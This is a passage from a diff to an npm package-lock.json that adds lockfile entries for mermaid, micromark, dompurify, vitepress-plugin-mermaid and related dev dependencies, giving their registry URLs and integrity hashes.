"https://registry.npmmirror.com/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/diff": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-5.1.0.tgz", + "integrity": "sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, "node_modules/dom-serializer": { "version": "1.4.1", "resolved": "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-1.4.1.tgz", @@ -1866,6 +2466,12 @@ "node": ">= 4" } }, + "node_modules/dompurify": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/dompurify/-/dompurify-3.0.3.tgz", + "integrity": "sha512-axQ9zieHLnAnHh0sfAamKYiqXMJAVwu+LM/alQ7WDagoWessyWvMSFyW65CqF3owufNu8HBcE4cM2Vflu7YWcQ==", + "dev": true + }, "node_modules/domutils": { "version": "2.8.0", "resolved": "https://registry.npmmirror.com/domutils/-/domutils-2.8.0.tgz", @@ -1876,6 +2482,12 @@ "domhandler": "^4.2.0" } }, + "node_modules/elkjs": { + "version": "0.8.2", + "resolved": "https://registry.npmmirror.com/elkjs/-/elkjs-0.8.2.tgz", + "integrity": "sha512-L6uRgvZTH+4OF5NE/MBbzQx/WYpru1xCBE9respNj6qznEewGUIfhzmm7horWWxbNO2M0WckQypGctR8lH79xQ==", + "dev": true + }, "node_modules/entities": { "version": "2.2.0", "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", @@ -1986,6 +2598,12 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, + "node_modules/heap": { + "version": "0.2.7", + "resolved": "https://registry.npmmirror.com/heap/-/heap-0.2.7.tgz", + "integrity": "sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==", + "dev": true + }, "node_modules/htmlparser2": { "version": "6.1.0", "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-6.1.0.tgz", @@ -1997,6 +2615,27 @@ "entities": "^2.0.0" } }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "dev": true, + "engines": { + "node": ">=12" + } + }, "node_modules/is-plain-object": { "version": "5.0.0", "resolved": "https://registry.npmmirror.com/is-plain-object/-/is-plain-object-5.0.0.tgz", @@ -2091,6 +2730,27 @@ "node": ">=10.0.0" } }, + "node_modules/khroma": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/khroma/-/khroma-2.0.0.tgz", + "integrity": "sha512-2J8rDNlQWbtiNYThZRvmMv5yt44ZakX+Tz5ZIp/mN1pt4snn+m030Va5Z4v8xA0cQFDXBwO/8i42xL4QPsVk3g==", + "dev": true + }, + "node_modules/kleur": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/kleur/-/kleur-4.1.5.tgz", + "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/layout-base": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/layout-base/-/layout-base-1.0.2.tgz", + "integrity": "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==", + "dev": true + }, "node_modules/lib0": { "version": "0.2.78", "resolved": "https://registry.npmmirror.com/lib0/-/lib0-0.2.78.tgz", @@ -2214,6 +2874,35 @@ "speech-rule-engine": "^4.0.6" } }, + "node_modules/mdast-util-from-markdown": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/mdast-util-from-markdown/-/mdast-util-from-markdown-1.3.1.tgz", + "integrity": "sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "mdast-util-to-string": "^3.1.0", + "micromark": "^3.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-decode-string": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-stringify-position": "^3.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/mdast-util-to-string": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz", + "integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0" + } + }, "node_modules/mdurl": { "version": "1.0.1", "resolved": "https://registry.npmmirror.com/mdurl/-/mdurl-1.0.1.tgz", @@ -2225,12 +2914,269 @@ "integrity": "sha512-IAeFvcOnV9V0Yk+bFhYR07O3yNina9ANIN5MoXBKYJ/RLYPurd2d0yw14MDhpr9/momp0WofT1bPUh3hkzdi/g==", "dev": true }, + "node_modules/mermaid": { + "version": "10.2.4", + "resolved": "https://registry.npmmirror.com/mermaid/-/mermaid-10.2.4.tgz", + "integrity": "sha512-zHGjEI7lBvWZX+PQYmlhSA2p40OzW6QbGodTCSzDeVpqaTnyAC+2sRGqrpXO+uQk3CnoeClHQPraQUMStdqy2g==", + "dev": true, + "dependencies": { + "@braintree/sanitize-url": "^6.0.2", + "cytoscape": "^3.23.0", + "cytoscape-cose-bilkent": "^4.1.0", + "cytoscape-fcose": "^2.1.0", + "d3": "^7.4.0", + "dagre-d3-es": "7.0.10", + "dayjs": "^1.11.7", + "dompurify": "3.0.3", + "elkjs": "^0.8.2", + "khroma": "^2.0.0", + "lodash-es": "^4.17.21", + "mdast-util-from-markdown": "^1.3.0", + "non-layered-tidy-tree-layout": "^2.0.2", + "stylis": "^4.1.3", + "ts-dedent": "^2.2.0", + "uuid": "^9.0.0", + "web-worker": "^1.2.0" + } + }, "node_modules/mhchemparser": { "version": "4.1.1", "resolved": "https://registry.npmmirror.com/mhchemparser/-/mhchemparser-4.1.1.tgz", "integrity": "sha512-R75CUN6O6e1t8bgailrF1qPq+HhVeFTM3XQ0uzI+mXTybmphy3b6h4NbLOYhemViQ3lUs+6CKRkC3Ws1TlYREA==", "dev": true }, + "node_modules/micromark": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/micromark/-/micromark-3.2.0.tgz", + "integrity": "sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==", + "dev": true, + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "micromark-core-commonmark": "^1.0.1", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-core-commonmark/-/micromark-core-commonmark-1.1.0.tgz", + "integrity": "sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==", + "dev": true, + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-factory-destination": "^1.0.0", + "micromark-factory-label": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-factory-title": "^1.0.0", + "micromark-factory-whitespace": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-classify-character": "^1.0.0", + "micromark-util-html-tag-name": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-factory-destination": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-destination/-/micromark-factory-destination-1.1.0.tgz", + "integrity": "sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==", + "dev": true, + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-label/-/micromark-factory-label-1.1.0.tgz", + "integrity": "sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==", + "dev": true, + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-space/-/micromark-factory-space-1.1.0.tgz", + "integrity": "sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==", + "dev": true, + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-title/-/micromark-factory-title-1.1.0.tgz", + "integrity": "sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==", + "dev": true, + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-whitespace/-/micromark-factory-whitespace-1.1.0.tgz", + "integrity": "sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==", + "dev": true, + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/micromark-util-character/-/micromark-util-character-1.2.0.tgz", + "integrity": "sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==", + "dev": true, + "dependencies": { + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-chunked/-/micromark-util-chunked-1.1.0.tgz", + "integrity": "sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==", + "dev": true, + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-classify-character/-/micromark-util-classify-character-1.1.0.tgz", + "integrity": "sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==", + "dev": true, + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.1.0.tgz", + "integrity": "sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==", + "dev": true, + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.1.0.tgz", + "integrity": "sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==", + "dev": true, + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-decode-string/-/micromark-util-decode-string-1.1.0.tgz", + "integrity": "sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==", + "dev": true, + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-encode/-/micromark-util-encode-1.1.0.tgz", + "integrity": "sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==", + "dev": true + }, + "node_modules/micromark-util-html-tag-name": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.2.0.tgz", + "integrity": "sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==", + "dev": true + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.1.0.tgz", + "integrity": "sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==", + "dev": true, + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-resolve-all/-/micromark-util-resolve-all-1.1.0.tgz", + "integrity": "sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==", + "dev": true, + "dependencies": { + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.2.0.tgz", + "integrity": "sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==", + "dev": true, + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-subtokenize/-/micromark-util-subtokenize-1.1.0.tgz", + "integrity": "sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==", + "dev": true, + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-symbol/-/micromark-util-symbol-1.1.0.tgz", + "integrity": "sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==", + "dev": true + }, + "node_modules/micromark-util-types": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-types/-/micromark-util-types-1.1.0.tgz", + "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", + "dev": true + }, "node_modules/mime": { "version": "2.6.0", "resolved": "https://registry.npmmirror.com/mime/-/mime-2.6.0.tgz", @@ -2261,6 +3207,21 @@ "integrity": "sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==", "dev": true }, + "node_modules/mri": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/mri/-/mri-1.2.0.tgz", + "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, "node_modules/nanoid": { "version": "3.3.6", "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.6.tgz", @@ -2292,6 +3253,12 @@ } } }, + "node_modules/non-layered-tidy-tree-layout": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/non-layered-tidy-tree-layout/-/non-layered-tidy-tree-layout-2.0.2.tgz", + "integrity": "sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==", + "dev": true + }, "node_modules/nth-check": { "version": "2.1.1", "resolved": "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz", @@ -2436,6 +3403,12 @@ "resolved": "https://registry.npmmirror.com/requires-port/-/requires-port-1.0.0.tgz", "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" }, + "node_modules/robust-predicates": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/robust-predicates/-/robust-predicates-3.0.2.tgz", + "integrity": "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==", + "dev": true + }, "node_modules/rollup": { "version": "3.26.2", "resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.26.2.tgz", @@ -2452,6 +3425,30 @@ "fsevents": "~2.3.2" } }, + "node_modules/rw": { + "version": "1.3.3", + "resolved": "https://registry.npmmirror.com/rw/-/rw-1.3.3.tgz", + "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==", + "dev": true + }, + "node_modules/sade": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/sade/-/sade-1.8.1.tgz", + "integrity": "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==", + "dev": true, + "dependencies": { + "mri": "^1.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, "node_modules/sanitize-html": { "version": "2.7.3", "resolved": "https://registry.npmmirror.com/sanitize-html/-/sanitize-html-2.7.3.tgz", @@ -2561,6 +3558,12 @@ "resolved": "https://registry.npmmirror.com/style-mod/-/style-mod-4.0.3.tgz", "integrity": "sha512-78Jv8kYJdjbvRwwijtCevYADfsI0lGzYJe4mMFdceO8l75DFFDoqBhR1jVDicDRRaX4//g1u9wKeo+ztc2h1Rw==" }, + "node_modules/stylis": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/stylis/-/stylis-4.3.0.tgz", + "integrity": "sha512-E87pIogpwUsUwXw7dNyU4QDjdgVMy52m+XEOPEKUn161cCzWjjhPSQhByfd1CcNvrOLnXQ6OnnZDwnJrz/Z4YQ==", + "dev": true + }, "node_modules/tabbable": { "version": "6.2.0", "resolved": "https://registry.npmmirror.com/tabbable/-/tabbable-6.2.0.tgz", @@ -2573,6 +3576,15 @@ "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", "dev": true }, + "node_modules/ts-dedent": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/ts-dedent/-/ts-dedent-2.2.0.tgz", + "integrity": "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==", + "dev": true, + "engines": { + "node": ">=6.10" + } + }, "node_modules/tslib": { "version": "2.5.0", "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.5.0.tgz", @@ -2598,6 +3610,15 @@ "resolved": "https://registry.npmmirror.com/uc.micro/-/uc.micro-1.0.6.tgz", "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==" }, + "node_modules/unist-util-stringify-position": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/unist-util-stringify-position/-/unist-util-stringify-position-3.0.3.tgz", + "integrity": "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0" + } + }, "node_modules/uri-js": { "version": "4.4.1", "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", @@ -2615,6 +3636,33 @@ "requires-port": "^1.0.0" } }, + "node_modules/uuid": { + "version": "9.0.0", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-9.0.0.tgz", + "integrity": "sha512-MXcSTerfPa4uqyzStbRoTgt5XIe3x5+42+q1sDuy3R5MDk66URdLMOZe5aPX/SQd+kuYAh0FdP/pO28IkQyTeg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/uvu": { + "version": "0.5.6", + "resolved": "https://registry.npmmirror.com/uvu/-/uvu-0.5.6.tgz", + "integrity": "sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==", + "dev": true, + "dependencies": { + "dequal": "^2.0.0", + "diff": "^5.0.0", + "kleur": "^4.0.3", + "sade": "^1.7.3" + }, + "bin": { + "uvu": "bin.js" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/valid-data-url": { "version": "3.0.1", "resolved": "https://registry.npmmirror.com/valid-data-url/-/valid-data-url-3.0.1.tgz", @@ -2730,6 +3778,19 @@ "vitepress": "bin/vitepress.js" } }, + "node_modules/vitepress-plugin-mermaid": { + "version": "2.0.13", + "resolved": "https://registry.npmmirror.com/vitepress-plugin-mermaid/-/vitepress-plugin-mermaid-2.0.13.tgz", + "integrity": "sha512-2c0ywXHE7kOK88Ygla9aGgkyF2JbfqfjE36JnoljW/3hQTR9rYBmfTFM5tvs4TUjCUfedUYT4CeyNolCY9t3uw==", + "dev": true, + "optionalDependencies": { + "@mermaid-js/mermaid-mindmap": "^9.3.0" + }, + "peerDependencies": { + "mermaid": "10", + "vitepress": "^0.21.6 || ^1.0.0 || ^1.0.0-alpha" + } + }, "node_modules/vitepress/node_modules/@esbuild/android-arm": { "version": "0.18.12", "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.12.tgz", @@ -3242,6 +4303,12 @@ "entities": "^2.0.0" } }, + "node_modules/web-worker": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/web-worker/-/web-worker-1.2.0.tgz", + "integrity": "sha512-PgF341avzqyx60neE9DD+XS26MMNMoUQRz9NOZwW32nPQrF6p77f1htcnjBSEV8BGMKZ16choqUG4hyI0Hx7mA==", + "dev": true + }, "node_modules/webidl-conversions": { "version": "3.0.1", "resolved": "https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz", @@ -3499,6 +4566,12 @@ "resolved": "https://repo.huaweicloud.com/repository/npm/@babel/parser/-/parser-7.22.3.tgz", "integrity": "sha512-vrukxyW/ep8UD1UDzOYpTKQ6abgjFoeG6L+4ar9+c5TN9QnlqiOi6QK7LSR5ewm/ERyGkT/Ai6VboNrxhbr9Uw==" }, + "@braintree/sanitize-url": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/@braintree/sanitize-url/-/sanitize-url-6.0.2.tgz", + "integrity": "sha512-Tbsj02wXCbqGmzdnXNk0SOF19ChhRU70BsroIi4Pm6Ehp56in6vch94mfbdQ17DozxkL3BAVjbZ4Qc1a0HFRAg==", + "dev": true + }, "@codemirror/autocomplete": { "version": "6.5.1", "resolved": "https://registry.npmmirror.com/@codemirror/autocomplete/-/autocomplete-6.5.1.tgz", @@ -4373,6 +5446,21 @@ } } }, + "@mermaid-js/mermaid-mindmap": { + "version": "9.3.0", + "resolved": "https://registry.npmmirror.com/@mermaid-js/mermaid-mindmap/-/mermaid-mindmap-9.3.0.tgz", + "integrity": "sha512-IhtYSVBBRYviH1Ehu8gk69pMDF8DSRqXBRDMWrEfHoaMruHeaP2DXA3PBnuwsMaCdPQhlUUcy/7DBLAEIXvCAw==", + "dev": true, + "requires": { + "@braintree/sanitize-url": "^6.0.0", + "cytoscape": "^3.23.0", + "cytoscape-cose-bilkent": "^4.1.0", + "cytoscape-fcose": "^2.1.0", + "d3": "^7.0.0", + "khroma": "^2.0.0", + "non-layered-tidy-tree-layout": "^2.0.2" + } + }, "@rjsf/core": { "version": "5.9.0", "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.9.0.tgz", @@ -4397,6 +5485,30 @@ "react-is": "^18.2.0" } }, + "@types/debug": { + "version": "4.1.8", + "resolved": "https://registry.npmmirror.com/@types/debug/-/debug-4.1.8.tgz", + "integrity": "sha512-/vPO1EPOs306Cvhwv7KfVfYvOJqA/S/AXjaHQiJboCZzcNDb+TIJFN9/2C9DZ//ijSKWioNyUxD792QmDJ+HKQ==", + "dev": true, + "requires": { + "@types/ms": "*" + } + }, + "@types/mdast": { + "version": "3.0.12", + "resolved": "https://registry.npmmirror.com/@types/mdast/-/mdast-3.0.12.tgz", + "integrity": "sha512-DT+iNIRNX884cx0/Q1ja7NyUPpZuv0KPyL5rGNxm1WC1OtHstl7n4Jb7nk+xacNShQMbczJjt8uFzznpp6kYBg==", + "dev": true, + "requires": { + "@types/unist": "^2" + } + }, + 